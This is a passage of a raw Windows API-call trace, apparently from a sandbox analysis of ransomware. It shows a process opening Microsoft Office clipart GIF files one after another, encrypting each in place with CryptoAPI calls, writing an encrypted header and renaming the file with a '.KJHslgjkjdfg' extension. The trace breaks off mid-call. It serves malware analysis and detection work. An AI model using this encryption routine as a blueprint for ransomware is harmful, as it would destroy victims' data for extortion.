GetProcessHeap () returned 0x990000 [0180.981] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.981] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.981] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0180.981] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x7, lpOverlapped=0x0) returned 1 [0180.983] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.983] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.983] GetProcessHeap () returned 0x990000 [0180.983] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.984] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0180.984] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.984] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0180.984] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0180.984] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0180.984] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0180.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0180.984] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0180.984] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.984] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.984] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.984] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a19, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3a19, lpOverlapped=0x0) returned 1 [0180.985] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a20, dwBufLen=0x3a20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3a20) returned 1 [0180.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.986] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3a20, lpOverlapped=0x0) returned 1 [0180.986] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.986] SetEndOfFile (hFile=0x130) returned 1 [0180.989] GetProcessHeap () returned 0x990000 [0180.989] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0180.989] GetProcessHeap () returned 0x990000 [0180.989] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0180.989] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.kjhslgjkjdfg")) returned 1 [0180.996] CloseHandle (hObject=0x130) returned 1 [0180.996] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64147500, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x64147500, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1a1c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00037_.GIF", cAlternateFileName="")) returned 1 [0180.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0180.996] GetProcessHeap () returned 0x990000 [0180.996] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0180.997] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0180.997] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0180.997] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0180.999] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0180.999] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0180.999] GetProcessHeap () returned 0x990000 [0180.999] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0180.999] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0180.999] CryptDestroyKey (hKey=0x9b6628) returned 1 [0180.999] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0180.999] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0180.999] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0180.999] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.000] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.000] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.000] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.000] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1a1c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1a1c, lpOverlapped=0x0) returned 1 [0181.001] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a20, dwBufLen=0x1a20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1a20) returned 1 [0181.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.001] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1a20, lpOverlapped=0x0) returned 1 [0181.001] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1af4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.001] SetEndOfFile (hFile=0x130) returned 1 [0181.004] GetProcessHeap () returned 0x990000 [0181.004] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.004] GetProcessHeap () returned 0x990000 [0181.004] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.004] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00037_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00037_.gif.kjhslgjkjdfg")) returned 1 [0181.007] CloseHandle (hObject=0x130) returned 1 [0181.008] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x47589c00, ftCreationTime.dwHighDateTime=0x1bf325d, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x47589c00, ftLastWriteTime.dwHighDateTime=0x1bf325d, nFileSizeHigh=0x0, nFileSizeLow=0xcb3, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00038_.GIF", cAlternateFileName="")) returned 1 [0181.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.013] GetProcessHeap () returned 0x990000 [0181.013] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.013] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.013] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.013] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0181.016] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.016] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.016] GetProcessHeap () returned 0x990000 [0181.016] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.016] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.016] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.016] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.016] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.016] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.016] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.016] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.017] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.017] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.017] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xcb3, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xcb3, lpOverlapped=0x0) returned 1 [0181.017] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcc0, dwBufLen=0xcc0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xcc0) returned 1 [0181.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.017] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xcc0, lpOverlapped=0x0) returned 1 [0181.017] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.017] SetEndOfFile (hFile=0x130) returned 1 [0181.020] GetProcessHeap () returned 0x990000 [0181.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.020] GetProcessHeap () returned 0x990000 [0181.020] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.kjhslgjkjdfg")) returned 1 [0181.024] CloseHandle (hObject=0x130) returned 1 [0181.024] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f4fc100, ftCreationTime.dwHighDateTime=0x1bd4b49, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f4fc100, ftLastWriteTime.dwHighDateTime=0x1bd4b49, nFileSizeHigh=0x0, nFileSizeLow=0x1fa1, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00040_.GIF", cAlternateFileName="")) returned 1 [0181.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.025] GetProcessHeap () returned 0x990000 [0181.025] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.025] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.025] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.025] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xf, lpOverlapped=0x0) returned 1 [0181.027] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.027] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.027] GetProcessHeap () returned 0x990000 [0181.027] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.028] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.028] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.028] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0181.028] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0181.028] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0181.028] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0181.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0181.028] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0181.028] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.029] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.029] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1fa1, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1fa1, lpOverlapped=0x0) returned 1 [0181.030] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fb0, dwBufLen=0x1fb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1fb0) returned 1 [0181.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.030] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1fb0, lpOverlapped=0x0) returned 1 [0181.030] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.030] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2084, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.030] SetEndOfFile (hFile=0x130) returned 1 [0181.032] GetProcessHeap () returned 0x990000 [0181.032] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0181.032] GetProcessHeap () returned 0x990000 [0181.032] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0181.033] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.kjhslgjkjdfg")) returned 1 [0181.036] CloseHandle (hObject=0x130) returned 1 [0181.036] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262e5400, ftCreationTime.dwHighDateTime=0x1bd4c10, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x262e5400, ftLastWriteTime.dwHighDateTime=0x1bd4c10, nFileSizeHigh=0x0, nFileSizeLow=0x1e06, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="AG00052_.GIF", cAlternateFileName="")) returned 1 [0181.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0181.036] GetProcessHeap () returned 0x990000 [0181.036] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0181.036] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0181.036] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0181.036] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0181.038] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0181.038] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0181.038] GetProcessHeap () returned 0x990000 [0181.038] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0181.038] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0181.039] CryptDestroyKey (hKey=0x9b6628) returned 1 [0181.039] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: 